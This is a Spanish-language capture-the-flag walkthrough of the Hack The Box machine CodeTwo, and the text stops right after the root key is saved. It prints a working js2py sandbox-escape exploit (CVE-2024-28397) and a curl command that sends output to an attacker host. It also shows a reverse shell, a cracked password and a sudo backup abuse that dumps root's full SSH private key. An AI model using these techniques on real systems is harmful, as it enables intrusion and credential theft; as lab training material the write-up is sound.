This page looks best with JavaScript enabled

HackTheBox - CodeTwo

 •  ✍️ sckull

CodeTwo presenta una plataforma para la ejecucion de codigo Javascript, al ser de codigo abierto se identifico una libreria vulnerable que permitio la ejecucion de comandos para acceso inicial. La base de datos aloja hashes de usuarios, tras obtener su valor se logro cambiar a un nuevo usuario. Finalmente escalamos privilegios a traves de un backup del directorio root y, ejecucion de comandos.

Nombre CodeTwo
OS

Linux

Puntos 20
Dificultad Easy
Fecha de Salida 2025-08-16
IP 10.10.11.83
Maker

FisMatHack

Rated
{
    "type": "bar",
    "data":  {
        "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
        "datasets": [{
            "label": "User Rated Difficulty",
            "data": [634, 692, 1575, 740, 200, 71, 43, 11, 3, 21],
            "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
        }]
    },
    "options": {
        "scales": {
          "xAxes": [{"display": false}],
          "yAxes": [{"display": false}]
        },
        "legend": {"labels": {"fontColor": "white"}},
        "responsive": true
      }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (8000) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# Nmap 7.95 scan initiated Sun Aug 17 22:55:56 2025 as: /usr/lib/nmap/nmap --privileged -p22,8000 -sV -sC -oN nmap_scan 10.10.11.82
Nmap scan report for 10.10.11.82
Host is up (0.26s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
|   256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
|_  256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
8000/tcp open  http    Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Welcome to CodeTwo
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug 17 22:56:16 2025 -- 1 IP address (1 host up) scanned in 19.92 seconds

Web Site

Los headers del sitio indincan un servidor gunicorn.

1
2
3
4
5
6
7
8
9
❯ curl -sI 10.10.11.82:8000
HTTP/1.1 200 OK
Server: gunicorn/20.0.4
Date: Mon, 18 Aug 2025 07:08:57 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 2184

El sitio presenta una plataforma para ejecucion de codigo Javascript.

image

Se muestran formularios de Login y Registro de usuarios.

image
image

Ingresamos tras registrar un usuario y se muestra un ’editor’ de codigo Javascript donde se muestra el resultado de la ejecucion.

image

Directory Brute Forcing

feroxbuster muestra direcciones del sitio ya conocidas a excepcion de /dashboard.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
❯ feroxbuster -u http://10.10.11.82:8000/ -w $MD
                                                                                                                                                                                        
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.11.82:8000/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        5l       31w      207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       46l      253w    17471c http://10.10.11.82:8000/download
200      GET       20l       46w      667c http://10.10.11.82:8000/login
200      GET       20l       44w      651c http://10.10.11.82:8000/register
200      GET       98l      247w     3309c http://10.10.11.82:8000/static/js/script.js
200      GET      210l      571w     4808c http://10.10.11.82:8000/static/css/styles.css
200      GET       47l      202w     2184c http://10.10.11.82:8000/
302      GET        5l       22w      189c http://10.10.11.82:8000/logout => http://10.10.11.82:8000/
302      GET        5l       22w      199c http://10.10.11.82:8000/dashboard => http://10.10.11.82:8000/login

CodeTwo - Js2py

Tras descargar el ‘software’ del sitio este muestra un archivo zip que contiene codigo fuente de una aplicacion Python.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
❯ file app.zip
app.zip: Zip archive data, made by v3.0 UNIX, extract using at least v1.0, last modified Jun 10 2025 16:07:02, uncompressed size 0, method=store
❯ unzip -l app.zip
Archive:  app.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  2025-06-10 04:37   app/
        0  2025-01-16 22:54   app/templates/
      728  2024-10-26 11:57   app/templates/login.html
     2061  2025-01-02 11:23   app/templates/dashboard.html
     4469  2025-01-15 19:36   app/templates/reviews.html
      696  2024-10-26 11:57   app/templates/register.html
     2526  2025-01-16 22:53   app/templates/index.html
     1157  2025-01-02 12:43   app/templates/base.html
       49  2025-01-16 22:36   app/requirements.txt
        0  2024-10-26 11:57   app/static/
        0  2025-01-16 22:30   app/static/js/
     3309  2024-10-26 11:57   app/static/js/script.js
        0  2025-01-16 22:54   app/static/css/
     4014  2025-01-16 22:46   app/static/css/styles.css
     3675  2025-06-11 01:46   app/app.py
        0  2025-01-16 22:50   app/instance/
    16384  2025-01-16 22:50   app/instance/users.db
---------                     -------
    39068                     17 files

La base de datos no muestra ningun contenido.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
❯ sqlite3
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open instance/users.db
sqlite> .tables
code_snippet  user        
sqlite> .schema user
CREATE TABLE user (
    id INTEGER NOT NULL, 
    username VARCHAR(80) NOT NULL, 
    password_hash VARCHAR(128) NOT NULL, 
    PRIMARY KEY (id), 
    UNIQUE (username)
);
sqlite> select username,password_hash from user;
sqlite> .schema code_snippet
CREATE TABLE code_snippet (
    id INTEGER NOT NULL, 
    user_id INTEGER NOT NULL, 
    code TEXT NOT NULL, 
    PRIMARY KEY (id), 
    FOREIGN KEY(user_id) REFERENCES user (id)
);
sqlite> select * from code_snippet;
sqlite> .exit

Se listan las librerias requeridas por la aplicacion.

1
2
3
4
5
❯ cat requirements.txt
flask==3.0.3
flask-sqlalchemy==3.1.1
js2py==0.74

Segun el codigo fuente de la aplicacion este ejecuta codigo Javascript a traves de la libreria js2py.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
from flask import Flask, render_template, request, redirect, url_for, session, jsonify, send_from_directory
from flask_sqlalchemy import SQLAlchemy
import hashlib
import js2py
import os
import json

js2py.disable_pyimport()
app = Flask(__name__)
app.secret_key = 'S3cr3tK3yC0d3Tw0'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)

class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(80), unique=True, nullable=False)
    password_hash = db.Column(db.String(128), nullable=False)

class CodeSnippet(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
    code = db.Column(db.Text, nullable=False)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/dashboard')
def dashboard():
    if 'user_id' in session:
        user_codes = CodeSnippet.query.filter_by(user_id=session['user_id']).all()
        return render_template('dashboard.html', codes=user_codes)
    return redirect(url_for('login'))

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        password_hash = hashlib.md5(password.encode()).hexdigest()
        new_user = User(username=username, password_hash=password_hash)
        db.session.add(new_user)
        db.session.commit()
        return redirect(url_for('login'))
    return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        password_hash = hashlib.md5(password.encode()).hexdigest()
        user = User.query.filter_by(username=username, password_hash=password_hash).first()
        if user:
            session['user_id'] = user.id
            session['username'] = username;
            return redirect(url_for('dashboard'))
        return "Invalid credentials"
    return render_template('login.html')

@app.route('/logout')
def logout():
    session.pop('user_id', None)
    return redirect(url_for('index'))

@app.route('/save_code', methods=['POST'])
def save_code():
    if 'user_id' in session:
        code = request.json.get('code')
        new_code = CodeSnippet(user_id=session['user_id'], code=code)
        db.session.add(new_code)
        db.session.commit()
        return jsonify({"message": "Code saved successfully"})
    return jsonify({"error": "User not logged in"}), 401

@app.route('/download')
def download():
    return send_from_directory(directory='/home/app/app/static/', path='app.zip', as_attachment=True)

@app.route('/delete_code/<int:code_id>', methods=['POST'])
def delete_code(code_id):
    if 'user_id' in session:
        code = CodeSnippet.query.get(code_id)
        if code and code.user_id == session['user_id']:
            db.session.delete(code)
            db.session.commit()
            return jsonify({"message": "Code deleted successfully"})
        return jsonify({"error": "Code not found"}), 404
    return jsonify({"error": "User not logged in"}), 401

@app.route('/run_code', methods=['POST'])
def run_code():
    try:
        code = request.json.get('code')
        result = js2py.eval_js(code)
        return jsonify({'result': result})
    except Exception as e:
        return jsonify({'error': str(e)})

if __name__ == '__main__':
    with app.app_context():
        db.create_all()
    app.run(host='0.0.0.0', debug=True)


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import js2py

#[... snip ...]
js2py.disable_pyimport()

@app.route('/run_code', methods=['POST'])
def run_code():
    try:
        code = request.json.get('code')
        result = js2py.eval_js(code)
        return jsonify({'result': result})
    except Exception as e:
        return jsonify({'error': str(e)})

CVE-2024-28397

La version de js2py 0.74 tiene una vulnerabilidad que al realizar “bypass” a ‘restricciones’ permite ejecutar comandos. Se muestra el PoC del CVE-2024-28397 en Javascript que utiliza codigo Python para ejecucion del comando whoami.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# PoC
# [+] command goes here:
let cmd = "whoami"
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
n11

Exploit

Tras ejecucion del PoC este unicamente muestra un error.

image

A traves de la ejecucion de curl y whoami (curl 10.10.14.67:8000/$(whoami)) confirmamos que la ejecucion de comandos es exitosa.

1
2
3
4
5
6
7
8
9
❯ python app/__init__.py
 * Serving Flask app '__init__'
 * Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on all addresses (0.0.0.0)
 * Running on http://127.0.0.1:8000
 * Running on http://192.168.1.63:8000
Press CTRL+C to quit
10.10.11.82 - - [18/Aug/2025 01:21:33] "GET /app HTTP/1.1" 404 -

User - App

Ejecutamos una shell inversa con el PoC logrando acceder como app.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
10.10.11.82: inverse host lookup failed: Unknown host
connect to [10.10.14.67] from (UNKNOWN) [10.10.11.82] 49920
/bin/sh: 0: can't access tty; job control turned off
$ whoami;id;pwd
app
uid=1001(app) gid=1001(app) groups=1001(app)
/home/app/app
$

Database

Encontramos la base de datos sqlite de la aplicacion y sqlite3.

1
2
3
4
5
6
7
8
app@codetwo:~/app/instance$ ls -lah
total 24K
drwxrwxr-x 2 app app 4.0K Aug 18 07:23 .
drwxrwxr-x 6 app app 4.0K Feb 23 05:18 ..
-rw-r--r-- 1 app app  16K Aug 18 07:23 users.db
app@codetwo:~/app/instance$ which sqlite3
/usr/bin/sqlite3
app@codetwo:~/app/instance$

Encontramos dos usuarios con su hash de contrasena dentro.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
app@codetwo:~/app/instance$ sqlite3
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open users.db
.open users.db
sqlite> .tables
.tables
code_snippet  user        
sqlite> .schema user
CREATE TABLE user (
    id INTEGER NOT NULL, 
    username VARCHAR(80) NOT NULL, 
    password_hash VARCHAR(128) NOT NULL, 
    PRIMARY KEY (id), 
    UNIQUE (username)
);
sqlite> select username,password_hash from user;
marco|649c9d65a206a75f5abe509fe128bce5
app|a97588c0e2fa3a024876339e27aeb42e
sckull|9e8694e99216221dad8f6fd183904504
sqlite>

crackstation muestra el valor del usuario marco.

Hash Type Result
649c9d65a206a75f5abe509fe128bce5 md5 sweetangelbabylove
a97588c0e2fa3a024876339e27aeb42e Unknown Not found.

User - Marco

El usuario marco existe dentro de la maquina.

1
2
3
4
5
6
7
app@codetwo:~/app/instance$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
marco:x:1000:1000:marco:/home/marco:/bin/bash
app:x:1001:1001:,,,:/home/app:/bin/bash
app@codetwo:~/app/instance$

Ejecutamos su para cambiar al usuario logrando acceder a este y la flag user.txt.

1
2
3
4
5
6
7
8
app@codetwo:~/app/instance$ su marco
Password: sweetangelbabylove
marco@codetwo:/home/app/app/instance$ cd
marco@codetwo:~$ ls
backups  npbackup.conf  user.txt
marco@codetwo:~$ cat user.txt
43ff07ce86c6a51cd38050d2194a094e
marco@codetwo:~$

Privesc

Marco puede realizar la ejecucion como root de npbackup-cli.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
marco@codetwo:~$ sudo -l -l
Matching Defaults entries for marco on codetwo:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User marco may run the following commands on codetwo:

Sudoers entry:
    RunAsUsers: ALL
    RunAsGroups: ALL
    Options: !authenticate
    Commands:
    /usr/local/bin/npbackup-cli
marco@codetwo:~$ file /usr/local/bin/npbackup-cli
/usr/local/bin/npbackup-cli: Python script, ASCII text executable
marco@codetwo:~$

npbackup permite realizar backups a traves de su version grafica y en este caso linea de comandos. Se muestra que la version de npbackup es 3.0.1.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
marco@codetwo:~$ python3 -m pip show npbackup
Name: npbackup
Version: 3.0.1
Summary: One fits all solution for deduplicated and compressed backups on servers and laptops
Home-page: https://github.com/netinvent/npbackup
Author: NetInvent - Orsiris de Jong
Author-email: contact@netinvent.fr
License: GPLv3
Location: /usr/local/lib/python3.8/dist-packages
Requires: ofunctions.logger-utils, msgspec, packaging, i18nice, pyyaml, ofunctions.random, ofunctions.platform, requests, ofunctions.misc, freesimplegui, psutil, python-pidfile, ntplib, ruamel.yaml, command-runner, ofunctions.threading, cryptidy, ofunctions.process, python-dateutil, ofunctions.requestor
Required-by: 
marco@codetwo:~$

https://github.com/netinvent/npbackup/blob/main/examples/npbackup.linux.conf.dist

Backup /root/

npbackup necesita de un archivo de configuracion para su ejecucion, utilizamos el que se encuentra en la raiz del directorio de marco agregando el dierctorio /root/ para realizar un backup.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
conf_version: 3.0.1
audience: public
repos:
  default:
    repo_uri: 
      __NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
    repo_group: default_group
    backup_opts:
      paths:
      - /home/app/app/
      - /root/
      source_type: folder_list
      exclude_files_larger_than: 0.0
    repo_opts:
      repo_password: 
        __NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8PDw8PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKUP__
      retention_policy: {}
      prune_max_unused: 0
    prometheus: {}
    env: {}
    is_protected: false
# [... snip ...]

Ejecutamos el comando con sudo especificando --backup. Tras finalizar se muestra el ID c984438e que indica los directorios a los que se les realizo un backup.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
marco@codetwo:/dev/shm$ sudo npbackup-cli -c npbackup.conf --backup
2025-08-18 07:49:29,753 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-08-18 07:49:29,772 :: INFO :: Loaded config 73199EB2 in /dev/shm/npbackup.conf
2025-08-18 07:49:29,780 :: INFO :: Searching for a backup newer than 1 day, 0:00:00 ago
2025-08-18 07:49:31,344 :: INFO :: Snapshots listed successfully
2025-08-18 07:49:31,345 :: INFO :: No recent backup found in repo default. Newest is from 2025-04-06 03:50:16.222832+00:00
2025-08-18 07:49:31,345 :: INFO :: Runner took 1.565828 seconds for has_recent_snapshot
2025-08-18 07:49:31,346 :: INFO :: Running backup of ['/home/app/app/', '/root/'] to repo default
2025-08-18 07:49:32,129 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/generic_excluded_extensions
2025-08-18 07:49:32,129 :: ERROR :: Exclude file 'excludes/generic_excluded_extensions' not found
2025-08-18 07:49:32,129 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/generic_excludes
2025-08-18 07:49:32,129 :: ERROR :: Exclude file 'excludes/generic_excludes' not found
2025-08-18 07:49:32,129 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/windows_excludes
2025-08-18 07:49:32,130 :: ERROR :: Exclude file 'excludes/windows_excludes' not found
2025-08-18 07:49:32,130 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/linux_excludes
2025-08-18 07:49:32,130 :: ERROR :: Exclude file 'excludes/linux_excludes' not found
2025-08-18 07:49:32,130 :: WARNING :: Parameter --use-fs-snapshot was given, which is only compatible with Windows
no parent snapshot found, will read all files

Files:          27 new,     0 changed,     0 unmodified
Dirs:           17 new,     0 changed,     0 unmodified
Added to the repository: 230.653 KiB (55.053 KiB stored)

processed 27 files, 246.570 KiB in 0:00
snapshot c984438e saved
2025-08-18 07:49:32,940 :: INFO :: Backend finished with success
2025-08-18 07:49:32,941 :: INFO :: Processed 246.6 KiB of data
2025-08-18 07:49:32,942 :: ERROR :: Backup is smaller than configured minmium backup size
2025-08-18 07:49:32,942 :: ERROR :: Operation finished with failure
2025-08-18 07:49:32,942 :: INFO :: Runner took 3.162834 seconds for backup
2025-08-18 07:49:32,942 :: INFO :: Operation finished
2025-08-18 07:49:32,946 :: INFO :: ExecTime = 0:00:03.194888, finished, state is: errors.
marco@codetwo:/dev/shm$sudo npbackup-cli -c npbackup.conf --snapshots
2025-08-18 07:49:47,761 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-08-18 07:49:47,780 :: INFO :: Loaded config 73199EB2 in /dev/shm/npbackup.conf
2025-08-18 07:49:47,789 :: INFO :: Listing snapshots of repo default
ID        Time                 Host        Tags        Paths          Size
---------------------------------------------------------------------------------
35a4dac3  2025-04-06 03:50:16  codetwo                 /home/app/app  48.295 KiB

c984438e  2025-08-18 07:49:32  codetwo                 /home/app/app  246.570 KiB
                                                       /root
---------------------------------------------------------------------------------
2 snapshots
2025-08-18 07:49:49,364 :: INFO :: Snapshots listed successfully
2025-08-18 07:49:49,364 :: INFO :: Runner took 1.57541 seconds for snapshots
2025-08-18 07:49:49,365 :: INFO :: Operation finished
2025-08-18 07:49:49,369 :: INFO :: ExecTime = 0:00:01.609271, finished, state is: success.
marco@codetwo:/dev/shm$

Listamos los ficheros dentro del backup con --ls c984438e se muestran archivos dentro de /root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
marco@codetwo:/dev/shm$ sudo npbackup-cli -c npbackup.conf --ls c984438e
2025-08-18 07:53:57,889 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-08-18 07:53:57,907 :: INFO :: Loaded config 73199EB2 in /dev/shm/npbackup.conf
2025-08-18 07:53:57,914 :: INFO :: Showing content of snapshot c984438e in repo default
2025-08-18 07:53:59,487 :: INFO :: Successfully listed snapshot c984438e content:
snapshot c984438e of [/home/app/app /root] at 2025-08-18 07:49:32.136374258 +0000 UTC by root@codetwo filtered by []:
/home
/home/app
/home/app/app
/home/app/app/__pycache__
/home/app/app/__pycache__/app.cpython-38.pyc
/home/app/app/app.py
/home/app/app/instance
/home/app/app/instance/users.db
/home/app/app/requirements.txt
/home/app/app/static
/home/app/app/static/app.zip
/home/app/app/static/css
/home/app/app/static/css/styles.css
/home/app/app/static/js
/home/app/app/static/js/script.js
/home/app/app/templates
/home/app/app/templates/base.html
/home/app/app/templates/dashboard.html
/home/app/app/templates/index.html
/home/app/app/templates/login.html
/home/app/app/templates/register.html
/root
/root/.bash_history
/root/.bashrc
/root/.cache
/root/.cache/motd.legal-displayed
/root/.local
/root/.local/share
/root/.local/share/nano
/root/.local/share/nano/search_history
/root/.mysql_history
/root/.profile
/root/.python_history
/root/.sqlite_history
/root/.ssh
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.vim
/root/.vim/.netrwhist
/root/root.txt
/root/scripts
/root/scripts/backup.tar.gz
/root/scripts/cleanup.sh
/root/scripts/cleanup_conf.sh
/root/scripts/cleanup_db.sh
/root/scripts/cleanup_marco.sh
/root/scripts/npbackup.conf
/root/scripts/users.db

2025-08-18 07:53:59,488 :: INFO :: Runner took 1.574064 seconds for ls
2025-08-18 07:53:59,488 :: INFO :: Operation finished
2025-08-18 07:53:59,492 :: INFO :: ExecTime = 0:00:01.604531, finished, state is: success.
marco@codetwo:/dev/shm$

Ejecutamos --dump especificando el archivo a obtener. Vemos el contenido de la calve privada de root para SSH.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
marco@codetwo:/dev/shm$ sudo npbackup-cli -c npbackup.conf --dump /root/.ssh/id_rsa --snapshot-id c984438e
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
marco@codetwo:/dev/shm$ sudo npbackup-cli -c npbackup.conf --dump /root/.ssh/id_rsa --snapshot-id c984438e > id_rsa
marco@codetwo:/dev/shm$

Shell

Utilizando esta clave logramos el acceso como root y la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
marco@codetwo:/dev/shm$ chmod 600 id_rsa
